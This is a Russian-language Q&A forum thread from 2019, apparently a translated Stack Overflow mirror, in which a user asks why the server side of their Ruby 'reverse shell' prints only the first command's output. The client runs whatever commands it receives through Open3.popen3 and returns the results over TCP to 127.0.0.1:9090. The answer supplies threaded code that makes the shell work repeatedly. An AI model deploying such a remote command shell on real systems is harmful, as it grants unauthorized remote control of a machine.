Обратная оболочка - Как заставить сервер печатать несколько сообщений, отправленных клиенту - PullRequest
1 голос
/ 08 апреля 2019

Моя обратная оболочка будет печатать только вывод команды "ls" в первый раз, как я могу сделать так, чтобы она печаталась на сервере столько раз, сколько я хочу?

require 'socket'
require 'open3'

def createClient(hostname, port)

  s = TCPSocket.new hostname, port

    while line = s.gets
      if line == "exit"
        s.close
      end
      stdin, stdout, stderr, wait_thr = Open3.popen3(line)
      s.puts("#{stdout.read}")
    end
end

createClient("127.0.0.1", 9090)


require 'socket'

 def createServer(hostname, port)

   server = TCPServer.new(hostname, port)
   client = server.accept


   loop do

     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
     while line = client.gets
       puts line
     end
   end

   client.close

end

createServer("127.0.0.1", 9090)

Я ожидал, что сервер напечатает все команды ls, обработанные клиентом, но он напечатал только первую.

1 Ответ

0 голосов
/ 08 апреля 2019

client.gets продолжает слушать сокет, пока он не закроется.поэтому он там висит.

Вы можете попробовать открыть протектор, чтобы прослушать сокет.Основной цикл прослушивает stdin и отправляет msg в сокет.как это:

   Thread.new do
     while line = client.gets 
        puts line
     end
   end

   loop do
     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
   end

   client.close
...